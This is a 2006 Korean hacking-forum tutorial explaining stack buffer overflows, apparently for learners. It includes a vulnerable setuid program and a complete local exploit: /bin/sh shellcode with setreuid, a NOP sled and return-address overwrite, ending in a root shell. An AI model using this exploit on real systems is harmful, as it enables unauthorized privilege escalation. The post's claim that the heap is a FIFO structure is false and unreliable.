1580, 9/79 회원가입  로그인  
   blackcoder
   http://blackcoder.tingstar.net
   알기 어렵게 설명한 Buffer Overflow

http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Lectures&no=482 [복사]


Title : Buffer Overflow
Writter : BlackCoder(blackcoder at naver.com)
Date : 2006/2/17
irc : #studyhack

참고문헌 :
1. leon.null2root.org 의 원재아빠님의 BOF강좌
2. Smashing The Stack For Fun And Profit
3. Corezine volume 01 - Juli 1999
4. http://www.subterrain.net/~jbl/overflow-papers/buffer.txt
5. 원광대 bugbox?추은석/이종웅님의 버퍼 오버 플로우 : 해킹 관련 내용
6. 그 외 알 수 없는 작성자님의 글

1. Buffer Overflow?


BOF는 지정된 메모리 영역을 벗어나서 일어나는 버그이다.

BOF에는 2가지 종류가 있다. stack overflow 와 heap overflow 이 있다.

프로그래머가 조금만 신경을 안써도 생기는 자주 볼 수 있는 버그이다.


2. 버퍼(Buffer)란?


버퍼(Buffer)란 컴퓨터의 주기억 장치와 주변장치 사이에서

데이터를 주고받을 때 정보를 임시로 기억해두고 기억해두는 임시공간이다.

버퍼에는 2가지 종류가 있는데 stack 과 heap 으로 나눌 수 있다.

또 FILO, FIFO 라는 2가지 구조로 나눌수 있는데,

stack은 FILO구조, heap은 FIFO구조이다.


그럼 FILO와 FIFO는 무엇일까?


FILO(first-in,last-out/FILO) 즉 처음 들어간 것이 마지막에 나온다는 뜻이다.

예를 들어 동전을 쌓고 난뒤에 보면 처음 쌓은게 맨 밑에,

맨 나중에 쌓은게 맨 위에 있다.

즉, 맨 처음에 들어간 데이터가 맨 밑에 위치하고, 그 다음에 들어간 데이터가

그 위에 위치한다. 이렇게 데이터들이 쌓이게 된다. 반대로 데이터를 꺼낼때,

맨 마지막에 들어간 데이터, 즉 맨 위쪽에 있는 데이터를 꺼내야지만 아래에 있는

데이터를 꺼낼 수 있게 된다. 이런식으로 제일 처음 들어간 데이터를 꺼내기

위해서는 맨 마지막에 있는 데이터 즉 맨 위에 있는 데이터를 꺼내고 난 뒤 차례차례

꺼내야만 하는것이다.


다음으로,


FIFO(first-in,first-out/FIFO) 즉 처음 들어간 것이 처음에 나온다는 뜻이다.

방금 설명한 FILO를 이해하였다면 쉬울 것이다. 반대로 생각하면 된다.

예를 들어 개미때가 줄지어서 빨대속으로 들어간다. 시간이 지나면,

먼저 들어간 개미가 먼저 빨대밖으로 나올 것이다.

즉, FIFO는, 먼저 들어간 데이터가 먼저 나오는 데이터구조이다.


3. 프로세스(Process) 의 구조


  ##################
  #      stack     #
  ##################
  #      heap      #
  ##################
  #      data      #
  ##################
  #      text      #
  ##################


여기서 가장 중요한 stack 에 대해 알아보자.

메모리상에서 가장 위쪽에 위치한 Stack은 대부분 C 언어로 작성되어 있는

프로그램 때문에 만들어진 구역이다. C언어에서 함수를 호출할 때, 함수 안에서

사용되는 지역변수 등을 저장한다.


4. Stack Overflow


void over(char *str){
char buffer[20];
strcpy(buffer,str);
}
main()
{
int i;
char large[50];
for( i=0;i<49;i++){
large[i]='a';
}
over(large);
}


위 소스의 메모리 구조를 살펴보자면


[buffer][sfp][ret][*str]

[*str] char *str

[ret] : 원래의 함수의 주소값이 저장.

[sfp] : Stack Frame Pointer, 스택에서 현재의 위치를 나타내는 레지스터      

[buffer] : buffer[20]


그러면 이제 실제로 BOF를 어떻게 하는가?



1. 먼저 buffer을 가득 채운다.

2. Shellcode를 채우고 ret에 Shellcode의 맨 앞부분 주소를 넣는다.


[buffer   ][sfp    ][ret               ]
[shellcode][0000000][Shellcode의 adress]


여기서 Shellcode란 무엇인가?

설명이 너무 복잡하기에 다른분의 강좌를 보세요.


- 쉘코드에 대한 자료 링크

http://blog.naver.com/zsup1343/60003844606

http://blog.naver.com/zsup1343?Redirect=Log&logNo=60003618069

---------------------------------------------------------------

이제 대충 Shellcode 가 뭔지 감이 잡혔을거다.

그럼 이제 실제로 프로그램을 공격해보자.


-bash-2.05b$ cat > vul1.c
int main(int argc, char *argv[])
{
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
-bash-2.05b$ gcc -o vul1 vul1.c
-bash-2.05b$ su root
password :
-bash-2.05b# chmod +s vul1
-bash-2.05b# exit
-bash-2.05b$ cat > exp.c
#include <stdlib.h>
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68"; // 셀코드^^

unsigned long sp(void)
{ __asm__("movl %esp, %eax");}  
// 중요한 함수, 현재 sp 레지스터의 값을 구한다.
// 이걸 이용해서 셸코드가 저장 되 있는곳을 지정할 수 있다.

int main(int argc, char *argv[])
{
        int i, offset;
        long esp, ret, *addr_ptr;
        char *buffer, *ptr;
        offset = 0; // 오프셋 0을 사용
        esp = sp(); // 현재 스택포인터를 esp에 저장
        ret = esp - offset;
        
        buffer = malloc(600); //버퍼를 위한 메모리 600바이트를 힙에 할당
        
        //전체 버퍼를 리턴주소로 채움
        ptr = buffer;
        addr_ptr = (long *) ptr;
        for(i=0; i < 600; i+=4)
        { *(addr_ptr++) = ret; }
        
        //버퍼의 처음 200바이트를 NOP명령으로 채움
        for(i=0; i < 200; i++)
        { buffer[i] = '\x90'; }
        
        //셀코드를 NOP썰매 다음에 둔다.
        ptr = buffer + 200;
        for(i=0; i < strlen(shellcode); i++)
        { *(ptr++) = shellcode[i]; }
        
        //문자열의 맨 마지막을 설정
        buffer[600-1] = 0;
        
        execl("./vul1", "vul1", buffer, 0);
        
        // 버퍼 메모리를 지움
        free(buffer);
        return 0;
}

-bash-2.05b$ gcc -o exp exp.c
-bash-2.05b$ ./exp

sh-2.05a# whoami
root
sh-2.05a#


너무 횡설수설 했네요 -_-;

이상으로 강좌를 마칩니다.

irc #studyhack 들려주세요 ㅎㅎ

  Hit : 12393     Date : 2006/02/17 06:14



    
geniusevil 어셈블리를 모르니 벅차네요.. 2006/02/17  
wjddyd41 어렵네 , 2006/02/18  
cksgus22 다음번엔 알기쉬운 강좌로... 2006/04/15  
DEUXISM 간단하넹.. 2006/04/28  
1420   I. 리눅스 구조 및 일반 명령어.     괴도js
07/04 12522
1419   [펌]스니핑[1]     loveaaav
03/24 12502
1418   * 해커가 되고싶나 ? *[19]     HackerMapia
03/01 12496
1417   초보가 적어본 윈도우 침투[6]     awsedr45
12/06 12491
1416   메모리 덤프(블루 스크린=STOP 스크린) 코드 및 해결[1]     ROK.AF
02/09 12456
1415   해킹기법? (기발하다고 해야하나,웃기다고 해야하나)[35]     whqkdnf000
07/31 12393
  알기 어렵게 설명한 Buffer Overflow[4]     blackcoder
02/17 12392
1413   c언어 for문      hacs98
06/15 12389
1412   [Reverse Engineering] 리버싱의 기초 - 범용 레지스터와 Assembly(Pop,Mov)     zen0c1de
07/18 12364
1411   ping아는 카페 해킹 고수님에게 들은 소리입니다[21]     장세만
07/14 12303
1410   C언어 기본구조[1]     괴도js
07/02 12300
1409   [펌]해커들의 흔적지우는방법[28]     starztp
10/08 12242
1408   개발자가 알아야할 10가지 보안팁으로 코드를 보호하자.     푸른하늘
09/01 12207
1407   C언어(진법)[9]     whqkdnf000
02/25 12197
1406   왠만한사람들은다알지도모르겠지만[6]     백룡출해
03/17 12104
1405   c++ 강좌[7]     jhon55
08/12 12049
1404   네트워크 개념 휘어잡기 7[8]     소유
09/16 11909
1403   trozan(트로이목마) 포트 목록[2]     whqkdnf000
02/22 11887
1402   [펌] 해킹의 역사     dzhfldk
08/22 11884
1401   리눅스 명령어 한꺼번에(소유님꺼)[11]     ssakura
07/07 11868
[1][2][3][4][5][6][7][8] 9 [10]..[79]

Copyright 1999-2023 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org & Wowhacker.com